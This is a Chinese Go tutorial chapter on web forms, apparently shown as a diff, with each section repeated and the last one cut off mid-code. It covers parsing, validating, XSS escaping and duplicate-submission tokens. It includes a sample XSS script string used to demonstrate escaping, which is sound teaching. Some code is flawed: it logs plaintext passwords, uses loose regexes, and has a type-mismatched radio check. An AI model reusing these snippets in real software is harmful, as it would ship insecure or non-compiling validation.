表单是我们平常编写Web应用常用的工具通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢?
表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\<form\>)定义。
<form>
...
input 元素
...
</form>
Go里面对于form处理已经有很方便的方法了在Request里面的有专门的form处理可以很方便的整合到Web开发里面来4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入所以我们需要对这些输入进行有效性验证4.2小节将就如何进行一些普通的验证进行详细的演示。
HTTP协议是一种无状态的协议那么如何才能辨别是否是同一个用户呢同时又如何保证一个表单不出现多次递交的情况呢4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息能够每次通过header和服务器进行交互的数据)等进行详细讲解。
表单还有一个很大的功能就是能够上传文件那么Go是如何处理文件上传的呢针对大文件上传我们如何有效的处理呢4.5小节我们将一起学习Go处理文件上传的知识。
## 目录
![](images/navi4.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第三章总结](<03.5.md>)
* 下一节: [处理表单的输入](<04.1.md>)

View File

@@ -1,109 +0,0 @@
# 4.1 处理表单的输入
先来看一个表单递交的例子我们有如下的表单内容命名成文件login.gtpl(放入当前新建项目的目录里面)
<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="submit" value="登陆">
</form>
</body>
</html>
上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面我们首先要判断这个是什么方式传递过来POST还是GET呢
http包里面有一个很简单的方式就可以获取我们在前面web的例子的基础上来看看怎么处理login页面的form数据
package main
import (
"fmt"
"html/template"
"log"
"net/http"
"strings"
)
func sayhelloName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() //解析url传递的参数对于POST则解析响应包的主体request body
//注意:如果没有调用ParseForm方法下面无法获取表单的数据
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
}
func login(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
t, _ := template.ParseFiles("login.gtpl")
log.Println(t.Execute(w, nil))
} else {
//请求的是登陆数据,那么执行登陆的逻辑判断
fmt.Println("username:", r.Form["username"])
fmt.Println("password:", r.Form["password"])
}
}
func main() {
http.HandleFunc("/", sayhelloName) //设置访问的路由
http.HandleFunc("/login", login) //设置访问的路由
err := http.ListenAndServe(":9090", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的这是个字符串类型的变量返回GET, POST, PUT等method信息。
login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面其他方式请求时则处理登录逻辑如查询数据库、验证登录信息等。
当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面
![](images/4.1.login.png?raw=true)
如果你看到一个空页面,可能是你写的 login.gtpl 文件中有错误,请根据控制台中的日志进行修复。
图4.1 用户登录界面
我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的为什么呢默认情况下Handler里面是不会自动解析form的必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。
`r.Form`里面包含了所有请求的参数比如URL中query-string、POST的数据、PUT的数据所有当你在URL的query-string字段和POST冲突时会保存成一个slice里面存储了多个值Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`再次测试服务器的输出username是不是一个slice。服务器端的输出如下
![](images/4.1.slice.png?raw=true)
图4.2 服务器端打印接受到的信息
`request.Form`是一个url.Values类型里面存储的是对应的类似`key=value`的信息下面展示了可以对form数据进行的一些操作:
v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])
>**Tips**:
Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm所以不必提前调用。r.FormValue只会返回同名参数中的第一个若参数不存在则返回空字符串。
## links
* [目录](<preface.md>)
* 上一节: [表单](<04.0.md>)
* 下一节: [验证表单的输入](<04.2.md>)

View File

@@ -1,109 +0,0 @@
# 4.1 处理表单的输入
先来看一个表单递交的例子我们有如下的表单内容命名成文件login.gtpl(放入当前新建项目的目录里面)
<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="submit" value="登陆">
</form>
</body>
</html>
上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面我们首先要判断这个是什么方式传递过来POST还是GET呢
http包里面有一个很简单的方式就可以获取我们在前面web的例子的基础上来看看怎么处理login页面的form数据
package main
import (
"fmt"
"html/template"
"log"
"net/http"
"strings"
)
func sayhelloName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() //解析url传递的参数对于POST则解析响应包的主体request body
//注意:如果没有调用ParseForm方法下面无法获取表单的数据
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
}
func login(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
t, _ := template.ParseFiles("login.gtpl")
log.Println(t.Execute(w, nil))
} else {
//请求的是登陆数据,那么执行登陆的逻辑判断
fmt.Println("username:", r.Form["username"])
fmt.Println("password:", r.Form["password"])
}
}
func main() {
http.HandleFunc("/", sayhelloName) //设置访问的路由
http.HandleFunc("/login", login) //设置访问的路由
err := http.ListenAndServe(":9090", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的这是个字符串类型的变量返回GET, POST, PUT等method信息。
login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面其他方式请求时则处理登录逻辑如查询数据库、验证登录信息等。
当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面
![](images/4.1.login.png?raw=true)
如果你看到一个空页面,可能是你写的 login.gtpl 文件中有错误,请根据控制台中的日志进行修复。
图4.1 用户登录界面
我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的为什么呢默认情况下Handler里面是不会自动解析form的必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。
`r.Form`里面包含了所有请求的参数比如URL中query-string、POST的数据、PUT的数据所有当你在URL的query-string字段和POST冲突时会保存成一个slice里面存储了多个值Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`再次测试服务器的输出username是不是一个slice。服务器端的输出如下
![](images/4.1.slice.png?raw=true)
图4.2 服务器端打印接受到的信息
`request.Form`是一个url.Values类型里面存储的是对应的类似`key=value`的信息下面展示了可以对form数据进行的一些操作:
v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])
>**Tips**:
Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm所以不必提前调用。r.FormValue只会返回同名参数中的第一个若参数不存在则返回空字符串。
## links
* [目录](<preface.md>)
* 上一节: [表单](<04.0.md>)
* 下一节: [验证表单的输入](<04.2.md>)

View File

@@ -1,162 +0,0 @@
# 4.2 验证表单的输入
开发Web的一个原则就是不能信任用户输入的任何信息所以验证和过滤用户的输入信息就变得非常重要我们经常会在微博、新闻中听到某某网站被入侵了存在什么漏洞这些大多是因为网站对于用户输入的信息没有做严格的验证引起的所以为了编写出安全可靠的Web程序验证表单输入的意义重大。
我们平常编写Web应用主要有两方面的数据验证一个是在页面端的js验证(目前在这方面有很多的插件库比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。
## 必填字段
你想要确保从一个表单元素中得到一个值例如前面小节里面的用户名我们如何处理呢Go有一个内置函数`len`可以获取字符串的长度这样我们就可以通过len来获取数据的长度例如
if len(r.Form["username"][0])==0{
//为空的处理
}
`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮则根本不会在r.Form中产生相应条目如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值如果是map的值必须通过上面的方式来获取。
## 数字
你想要确保一个表单输入框中获取的只能是数字例如你想通过表单获取某个人的具体年龄是50岁还是10岁而不是像“一把年纪了”或“年轻着呢”这种描述
如果我们是判断正整数那么我们先转化成int类型然后进行处理
getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
//数字转化出错了,那么可能就不是数字
}
//接下来就可以判断这个数字的大小范围了
if getint >100 {
//太大了
}
还有一种方式就是正则匹配的方式
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
return false
}
对于性能要求很高的用户来说这是一个老生常谈的问题了他们认为应该尽量避免使用正则表达式因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉而且你在其它语言中也在使用它那么在Go里面使用正则表达式将是一个便利的方式。
>Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax)所有的字符都是UTF-8编码的。
## 中文
有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有两种方式来验证,可以使用 `unicode` 包提供的 `func Is(rangeTab *RangeTable, r rune) bool` 来验证,也可以使用正则方式来验证,这里使用最简单的正则方式,如下代码所示
if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m {
return false
}
## 英文
我们期望通过表单元素获取一个英文值例如我们想知道一个用户的英文名应该是astaxie而不是asta谢。
我们可以很简单的通过正则验证数据:
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
return false
}
## 电子邮件地址
你想知道用户输入的一个Email地址是否正确通过如下这个方式可以验证
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
fmt.Println("no")
}else{
fmt.Println("yes")
}
## 手机号码
你想要判断用户输入的手机号码是否正确,通过正则也可以验证:
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {
return false
}
## 下拉菜单
如果我们想要判断表单里面`<select>`元素生成的下拉菜单中是否有被选中的项目。有些时候黑客可能会伪造这个下拉菜单不存在的值发送给你,那么如何判断这个值是否是我们预设的值呢?
我们的select可能是这样的一些元素
<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banane">banane</option>
</select>
那么我们可以这样来验证
slice:=[]string{"apple","pear","banane"}
for _, v := range slice {
if v == r.Form.Get("fruit") {
return true
}
}
return false
## 单选按钮
如果我们想要判断radio按钮是否有一个被选中了我们页面的输出可能就是一个男、女性别的选择但是也可能一个15岁大的无聊小孩一手拿着http协议的书另一只手通过telnet客户端向你的程序在发送请求呢你设定的性别男值是1女是2他给你发送一个3你的程序会出现异常吗因此我们也需要像下拉菜单的判断方式类似判断我们获取的值是我们预设的值而不是额外的值。
<input type="radio" name="gender" value="1">男
<input type="radio" name="gender" value="2">女
那我们也可以类似下拉菜单的做法一样
slice:=[]int{1,2}
for _, v := range slice {
if v == r.Form.Get("gender") {
return true
}
}
return false
## 复选框
有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。
<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球
对于复选框我们的验证和单选有点不一样因为接收到的数据是一个slice
slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
return true
}
return false
上面这个函数`Slice_diff`包含在我开源的一个库里面(操作slice和map的库)[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku)
## 日期和时间
你想确定用户填写的日期或时间是否有效。例如
用户在日程表中安排8月份的第45天开会或者提供未来的某个时间作为生日。
Go里面提供了一个time的处理包我们可以把用户的输入年月日转化成相应的时间然后进行逻辑判断
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())
获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。
## 身份证号码
如果我们想验证表单输入的是否是身份证通过正则也可以方便的验证但是身份证有15位和18位我们两个都需要验证
//验证15位身份证15位的是全部数字
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {
return false
}
//验证18位身份证18位前17位为数字最后一位是校验位可能为数字或字符X。
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {
return false
}
上面列出了我们一些常用的服务器端的表单元素验证希望通过这个引导入门能够让你对Go的数据验证有所了解特别是Go里面的正则处理。
## links
* [目录](<preface.md>)
* 上一节: [处理表单的输入](<04.1.md>)
* 下一节: [预防跨站脚本](<04.3.md>)

View File

@@ -1,162 +0,0 @@
# 4.2 验证表单的输入
开发Web的一个原则就是不能信任用户输入的任何信息所以验证和过滤用户的输入信息就变得非常重要我们经常会在微博、新闻中听到某某网站被入侵了存在什么漏洞这些大多是因为网站对于用户输入的信息没有做严格的验证引起的所以为了编写出安全可靠的Web程序验证表单输入的意义重大。
我们平常编写Web应用主要有两方面的数据验证一个是在页面端的js验证(目前在这方面有很多的插件库比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。
## 必填字段
你想要确保从一个表单元素中得到一个值例如前面小节里面的用户名我们如何处理呢Go有一个内置函数`len`可以获取字符串的长度这样我们就可以通过len来获取数据的长度例如
if len(r.Form["username"][0])==0{
//为空的处理
}
`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮则根本不会在r.Form中产生相应条目如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值如果是map的值必须通过上面的方式来获取。
## 数字
你想要确保一个表单输入框中获取的只能是数字例如你想通过表单获取某个人的具体年龄是50岁还是10岁而不是像“一把年纪了”或“年轻着呢”这种描述
如果我们是判断正整数那么我们先转化成int类型然后进行处理
getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
//数字转化出错了,那么可能就不是数字
}
//接下来就可以判断这个数字的大小范围了
if getint >100 {
//太大了
}
还有一种方式就是正则匹配的方式
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
return false
}
对于性能要求很高的用户来说这是一个老生常谈的问题了他们认为应该尽量避免使用正则表达式因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉而且你在其它语言中也在使用它那么在Go里面使用正则表达式将是一个便利的方式。
>Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax)所有的字符都是UTF-8编码的。
## 中文
有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有两种方式来验证,可以使用 `unicode` 包提供的 `func Is(rangeTab *RangeTable, r rune) bool` 来验证,也可以使用正则方式来验证,这里使用最简单的正则方式,如下代码所示
if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m {
return false
}
## 英文
我们期望通过表单元素获取一个英文值例如我们想知道一个用户的英文名应该是astaxie而不是asta谢。
我们可以很简单的通过正则验证数据:
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
return false
}
## 电子邮件地址
你想知道用户输入的一个Email地址是否正确通过如下这个方式可以验证
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
fmt.Println("no")
}else{
fmt.Println("yes")
}
## 手机号码
你想要判断用户输入的手机号码是否正确,通过正则也可以验证:
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {
return false
}
## 下拉菜单
如果我们想要判断表单里面`<select>`元素生成的下拉菜单中是否有被选中的项目。有些时候黑客可能会伪造这个下拉菜单不存在的值发送给你,那么如何判断这个值是否是我们预设的值呢?
我们的select可能是这样的一些元素
<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banane">banane</option>
</select>
那么我们可以这样来验证
slice:=[]string{"apple","pear","banane"}
for _, v := range slice {
if v == r.Form.Get("fruit") {
return true
}
}
return false
## 单选按钮
如果我们想要判断radio按钮是否有一个被选中了我们页面的输出可能就是一个男、女性别的选择但是也可能一个15岁大的无聊小孩一手拿着http协议的书另一只手通过telnet客户端向你的程序在发送请求呢你设定的性别男值是1女是2他给你发送一个3你的程序会出现异常吗因此我们也需要像下拉菜单的判断方式类似判断我们获取的值是我们预设的值而不是额外的值。
<input type="radio" name="gender" value="1">男
<input type="radio" name="gender" value="2">女
那我们也可以类似下拉菜单的做法一样
slice:=[]int{1,2}
for _, v := range slice {
if v == r.Form.Get("gender") {
return true
}
}
return false
## 复选框
有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。
<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球
对于复选框我们的验证和单选有点不一样因为接收到的数据是一个slice
slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
return true
}
return false
上面这个函数`Slice_diff`包含在我开源的一个库里面(操作slice和map的库)[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku)
## 日期和时间
你想确定用户填写的日期或时间是否有效。例如
用户在日程表中安排8月份的第45天开会或者提供未来的某个时间作为生日。
Go里面提供了一个time的处理包我们可以把用户的输入年月日转化成相应的时间然后进行逻辑判断
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())
获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。
## 身份证号码
如果我们想验证表单输入的是否是身份证通过正则也可以方便的验证但是身份证有15位和18位我们两个都需要验证
//验证15位身份证15位的是全部数字
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {
return false
}
//验证18位身份证18位前17位为数字最后一位是校验位可能为数字或字符X。
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {
return false
}
上面列出了我们一些常用的服务器端的表单元素验证希望通过这个引导入门能够让你对Go的数据验证有所了解特别是Go里面的正则处理。
## links
* [目录](<preface.md>)
* 上一节: [处理表单的输入](<04.1.md>)
* 下一节: [预防跨站脚本](<04.3.md>)

View File

@@ -1,68 +0,0 @@
# 4.3 预防跨站脚本
现在的网站包含大量的动态内容以提高用户体验比过去要复杂得多。所谓动态内容就是根据用户环境和需要Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手他们可以盗取用户帐户信息修改用户设置盗取/污染cookie和植入恶意广告等。
对XSS最佳的防护应该结合以下两种方法一是验证所有输入数据有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。
那么Go里面是怎么做这个有效防护的呢Go的html/template里面带有下面几个函数可以帮你转义
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
我们看4.1小节的例子
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示:
![](images/4.3.escape.png?raw=true)
图4.3 Javascript过滤之后的输出
Go的html/template包默认帮你过滤了html标签但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息该怎么处理请使用text/template。请看下面的例子
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
输出
Hello, <script>alert('you have been pwned')</script>!
或者使用template.HTML类型
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
输出
Hello, <script>alert('you have been pwned')</script>!
转换成`template.HTML`后,变量的内容也不会被转义
转义的例子:
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
转义之后的输出:
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
## links
* [目录](<preface.md>)
* 上一节: [验证的输入](<04.2.md>)
* 下一节: [防止多次递交表单](<04.4.md>)

View File

@@ -1,68 +0,0 @@
# 4.3 预防跨站脚本
现在的网站包含大量的动态内容以提高用户体验比过去要复杂得多。所谓动态内容就是根据用户环境和需要Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手他们可以盗取用户帐户信息修改用户设置盗取/污染cookie和植入恶意广告等。
对XSS最佳的防护应该结合以下两种方法一是验证所有输入数据有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。
那么Go里面是怎么做这个有效防护的呢Go的html/template里面带有下面几个函数可以帮你转义
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
我们看4.1小节的例子
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示:
![](images/4.3.escape.png?raw=true)
图4.3 Javascript过滤之后的输出
Go的html/template包默认帮你过滤了html标签但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息该怎么处理请使用text/template。请看下面的例子
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
输出
Hello, <script>alert('you have been pwned')</script>!
或者使用template.HTML类型
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
输出
Hello, <script>alert('you have been pwned')</script>!
转换成`template.HTML`后,变量的内容也不会被转义
转义的例子:
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
转义之后的输出:
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
## links
* [目录](<preface.md>)
* 上一节: [验证的输入](<04.2.md>)
* 下一节: [防止多次递交表单](<04.4.md>)

View File

@@ -1,58 +0,0 @@
# 4.4 防止多次递交表单
不知道你是否曾经看到过一个论坛或者博客,在一个帖子或者文章后面出现多条重复的记录,这些大多数是因为用户重复递交了留言的表单引起的。由于种种原因,用户经常会重复递交表单。通常这只是鼠标的误操作,如双击了递交按钮,也可能是为了编辑或者再次核对填写过的信息,点击了浏览器的后退按钮,然后又再次点击了递交按钮而不是浏览器的前进按钮。当然,也可能是故意的——比如,在某项在线调查或者博彩活动中重复投票。那我们如何有效的防止用户多次递交相同的表单呢?
解决方案是在表单中添加一个带有唯一值的隐藏字段。在验证表单时先检查带有该惟一值的表单是否已经递交过了。如果是拒绝再次递交如果不是则处理表单进行逻辑处理。另外如果是采用了Ajax模式递交表单的话当表单递交后通过javascript来禁用表单的递交按钮。
我继续拿4.2小节的例子优化:
<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="登陆">
我们在模版里面增加了一个隐藏字段`token`这个值我们通过MD5(时间戳)来获取惟一值,然后我们把这个值存储到服务器端(session来控制我们将在第六章讲解如何保存),以方便表单提交时比对判定。
func login(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
} else {
//请求的是登陆数据,那么执行登陆的逻辑判断
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}
fmt.Println("username length:", len(r.Form["username"][0]))
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
}
}
上面的代码输出到页面的源码如下:
![](images/4.4.token.png?raw=true)
图4.4 增加token之后在客户端输出的源码信息
我们看到token已经有输出值你可以不断的刷新可以看到这个值在不断的变化。这样就保证了每次显示form表单的时候都是唯一的用户递交的表单保持了唯一性。
我们的解决方案可以防止非恶意的攻击,并能使恶意用户暂时不知所措,然后,它却不能排除所有的欺骗性的动机,对此类情况还需要更复杂的工作。
## links
* [目录](<preface.md>)
* 上一节: [预防跨站脚本](<04.3.md>)
* 下一节: [处理文件上传](<04.5.md>)

View File

@@ -1,58 +0,0 @@
# 4.4 防止多次递交表单
不知道你是否曾经看到过一个论坛或者博客,在一个帖子或者文章后面出现多条重复的记录,这些大多数是因为用户重复递交了留言的表单引起的。由于种种原因,用户经常会重复递交表单。通常这只是鼠标的误操作,如双击了递交按钮,也可能是为了编辑或者再次核对填写过的信息,点击了浏览器的后退按钮,然后又再次点击了递交按钮而不是浏览器的前进按钮。当然,也可能是故意的——比如,在某项在线调查或者博彩活动中重复投票。那我们如何有效的防止用户多次递交相同的表单呢?
解决方案是在表单中添加一个带有唯一值的隐藏字段。在验证表单时先检查带有该惟一值的表单是否已经递交过了。如果是拒绝再次递交如果不是则处理表单进行逻辑处理。另外如果是采用了Ajax模式递交表单的话当表单递交后通过javascript来禁用表单的递交按钮。
我继续拿4.2小节的例子优化:
<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="登陆">
我们在模版里面增加了一个隐藏字段`token`这个值我们通过MD5(时间戳)来获取惟一值,然后我们把这个值存储到服务器端(session来控制我们将在第六章讲解如何保存),以方便表单提交时比对判定。
func login(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
crutime := time.Now().Unix()
h := md5.New()
